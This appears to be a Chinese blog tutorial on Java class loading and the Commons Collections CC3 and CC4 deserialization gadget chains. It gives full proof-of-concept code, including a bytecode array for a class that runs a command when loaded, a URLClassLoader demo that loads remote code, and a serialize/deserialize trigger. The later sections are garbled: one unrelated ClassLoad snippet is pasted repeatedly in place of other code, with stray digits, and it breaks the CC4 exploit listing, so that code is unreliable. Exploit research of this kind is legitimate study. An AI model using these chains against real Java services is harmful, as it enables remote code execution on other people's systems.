前置知识
动态加载类和静态加载的区别
编译时刻加载类就是静态加载类 运行时刻加载类就是动态加载类
new创建对象 就是静态加载类 在编译时就需要加载所有可能需要用到的类
Class.forname()这种就属于动态加载类 在编译时不报错 在运行到这行代码的时候才会加载到这个类的类类型
建一个demo了解一下
public class person {
public String name;
private int age;
public static int id ;
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
public static void staticAction(){
System.out.println("静态方法");
}
public person() {
System.out.println("无参person");
}
public person(String name,int age){
System.out.println("有参person");
this.age=age;
this.name=name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
可以看到 不管是有参,无参,都会对类进行初始化,每次初始化都会调用到静态代码块之后是构造代码块
给静态变量赋值的时候也会调用静态代码块
加载class 不调用初始化,不会调用代码
但是,当使用Class.forname的时候 就会进行初始化加载静态代码块
看一下forname的底层代码
在最后看到调用了forname0的方法
和我们需要的不是很一致,向上翻,发现forname的重载方法
可以看到这是native的方法,是使用C++编写的,主要传进去四个参数,类名,是否初始化,类加载器
我们写一个demo试一下
发现并没有进行初始化
所以到这里,可以发现,Class.forname其实是可以通过方法的重载,来控制是否进行初始化的。即使进行初始化,也是需要使用到系统的加载器的
输出一下看一下gs是什么
一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(类引导加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器)。其中AppClassLoader是默认的类加载器,也就是在不指定加载器的情况下,会自动调用AppClassLoader加载类。同时ClassLoader.getSysytemClassLoader()返回的系统类加载器也是AppClassLoader
关于ClassLoader的一些核心方法
getParent() | 返回该类加载器的父类加载器 |
---|---|
loadClass(String name) | 加载指定的Java类,返回的是加载的类的实例 |
findClass(String name) | 查找指定的Java类,返回的是加载的类的实例 |
findLoadedClass(String name) | 查找JVM已经加载过的类, |
defineClass(String name, byte[] b, int off, int len) | 把字节数组b中的内容转换为Java类,返回的结果是java.lang.Class类的实例,该方法被声明为final |
resolveClass(Class<?> e) | 链接制定的Java类 |
在使用loadClass的时候是只进行加载,不进行初始化的
这样我们就可以加载任意类,攻击面也就更广。
比如使用继承ClassLoader类的URLClassLoader
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后编译一下
把test.java删除
在class目录下起一个python
加载出来计算器了
CC3
调用链分析
链子的流程
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
看到 入口点到 ConstantTransformer.transform()都是CC6的上半截,所以直接分析后半截
上半截可以参考我的CC6
https://www.yuque.com/superd1ng/imcem8/myb1grqklp85nyzm
这条链子的思路就是使用动态加载恶意类,通过初始化执行代码
所以我们需要找到类加载的地方defineClass
这里的Templayeslmpl中的内部类TransletClassLoader继承了ClassLoader
重写了defineClass方法
查看defineClass被谁调用
TemplatessImpl中的defineTransletClasses方法
有三处调用该方法
前两个,在一个类中,但是查看发现没有后续利用
在第三处getTransletInstance中
这个类还调用newInstance方法,可以将我们的加载好的代码初始化,运行static代码块中的恶意代码
查看这个方法的调用情况
依旧是这个类的newTransformer方法
POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class cc3 = templates.getClass();
Field nameField = cc3.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "sfabc");
Field bytecodesField = cc3.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = {-54,-2,-70,-66,0,0,0,52,0,52,10,0,8,0,36,10,0,37,0,38,8,0,39,10,0,37,0,40,7,0,41,10,0,5,0,42,7,0,43,7,0,44,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,20,76,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,45,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,41,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,9,0,10,7,0,46,12,0,47,0,48,1,0,4,99,97,108,99,12,0,49,0,50,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,51,0,10,1,0,18,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,0,0,0,0,4,0,1,0,9,0,10,0,1,0,11,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,11,0,13,0,0,0,12,0,1,0,0,0,5,0,14,0,15,0,0,0,1,0,16,0,17,0,2,0,11,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,23,0,13,0,0,0,32,0,3,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,20,0,21,0,2,0,22,0,0,0,4,0,1,0,23,0,1,0,16,0,24,0,2,0,11,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,28,0,13,0,0,0,42,0,4,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,25,0,26,0,2,0,0,0,1,0,27,0,28,0,3,0,22,0,0,0,4,0,1,0,23,0,8,0,29,0,10,0,1,0,11,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,12,0,0,0,22,0,5,0,0,0,14,0,9,0,17,0,12,0,15,0,13,0,16,0,17,0,18,0,13,0,0,0,12,0,1,0,13,0,4,0,30,0,31,0,0,0,32,0,0,0,7,0,2,76,7,0,33,4,0,1,0,34,0,0,0,2,0,35};
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = cc3.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
其中的字节码为:
package com.common.cc;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
POC分析
首先要实例化一个TemplateImpl对象
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
调用它的newTransformer方法,为了进入getTransletInstance方法
进入getTransletInstance方法,需要它成功运行到defineTransletClasses(),所以需要 _name!=null,_class==null
Class cc3 = templates.getClass();
Field nameField = cc3.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "asd");
Field classField = cc3.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
这个时候进入到defineTransletClasses方法中
首先_bytecode是二维数组
如果_bytecode==null,就会抛出异常,所以不能让他抛出异常
_tfactory需要控制后面的方法,所以也不能为null
但是,我们需要看这里的漏洞成因,这里将_bytecode遍历之后,调用了重写的defineClass方法
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
在_bytecode中填入我们写的恶意代码的字节码,就能被defineClass动态加载。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
0
我们查看_tfactory最初被定义的关键字
被transient修饰,表示不参与序列化和反序列化
既然这个参数没有参与反序列化,那么它在序列化和反序列化之前一定被赋值了
按照他来的赋值就可以了
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
1
最后一个逻辑部分
判断superClass的名字是否和ABSTRACT_TRANSLET相等
superClass
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
2
也就是传入的字节码所加载的恶意类的父类是否为ABSTRACT_TRANSLET
如果父类是ABSTRACT_TRANSLET,就会给_transletIndex赋值i而i>=0,可以绕过判断if (_transletIndex < 0) ,也就不会报错。
那么最开始给_class赋值为空也可以省略了
最后在_class[_transletIndex].newInstance()进行初始化,加载恶意类
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
3
CC4
环境搭建
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
4
调用链分析
调用链
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
5
同过观察调用链,我们可以发现,后半段的调用是相同的,只是入口点不同而已。那么分析一下ChainedTransformer.transform之上的入口
此方法被 PriorityQueue的siftDownUsingComparator调用
右键 find Usages,发现只有一处调用 PriorityQueue.siftDown
同样,看一下它的调用情况
有三处,每个跟一下,发现只有heapify被readObj调用
ok,到这里链子大概就清晰了
POC分析
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class cc3 = templates.getClass();
Field nameField = cc3.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "sfabc");
Field bytecodesField = cc3.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code ={-54,-2,-70,-66,0,0,0,52,0,52,10,0,8,0,36,10,0,37,0,38,8,0,39,10,0,37,0,40,7,0,41,10,0,5,0,42,7,0,43,7,0,44,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,20,76,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,45,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,41,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,9,0,10,7,0,46,12,0,47,0,48,1,0,4,99,97,108,99,12,0,49,0,50,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,51,0,10,1,0,18,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,0,0,0,0,4,0,1,0,9,0,10,0,1,0,11,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,11,0,13,0,0,0,12,0,1,0,0,0,5,0,14,0,15,0,0,0,1,0,16,0,17,0,2,0,11,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,23,0,13,0,0,0,32,0,3,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,20,0,21,0,2,0,22,0,0,0,4,0,1,0,23,0,1,0,16,0,24,0,2,0,11,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,28,0,13,0,0,0,42,0,4,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,25,0,26,0,2,0,0,0,1,0,27,0,28,0,3,0,22,0,0,0,4,0,1,0,23,0,8,0,29,0,10,0,1,0,11,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,12,0,0,0,22,0,5,0,0,0,14,0,9,0,17,0,12,0,15,0,13,0,16,0,17,0,18,0,13,0,0,0,12,0,1,0,13,0,4,0,30,0,31,0,0,0,32,0,0,0,7,0,2,76,7,0,33,4,0,1,0,34,0,0,0,2,0,35};
byte[][] codes = {code};
bytecodesField.set(templates, codes);
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
1 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
8 //instantiateTransformer.transform(TrAXFilter.class);
//chainedTransformer.transform(1);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
7
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这里我们走一下逻辑
在反序列化的时候,调用heapify方法
之后进入siftDown
我们需要进入到siftDownUsingComparator,所以可以通过反射赋值comparator
之后就进入compare方法
这里,我们使用反射,修改transformer为chainedTransformer
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
7
this.transformer.transform(obj1)=chainedTransformer.transform(obj)
这里我们已经实例化好了chainedTransformer
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader Ul=new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class<?> c = Ul.loadClass("test");
c.newInstance();
}
}
8
参数new ConstantTransformer(TrAXFilter.class), instantiateTransformer
第一次循环,返回TrAXFilter对象,作为参数
第二次=instantiateTransformer.transform(TrAXFilter)
获取TrAXFilter的构造函数iParamTypes作为参数
在POC中,我们实例化了instantiateTransformer,参数替换为我们构造的恶意类templates
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
TrAXFilter的构造函数:
里面的newTransformer方法
里面的defineTransletClasses()方法,是调用了重写的defineClass方法
实现动态加载newInstance()进行初始化
参考
https://blog.csdn.net/weixin_54648419/article/details/123376523
https://www.yuque.com/m0re/demosec/ab9iw9in48fouchs#yGn3O
还没有评论,来说两句吧...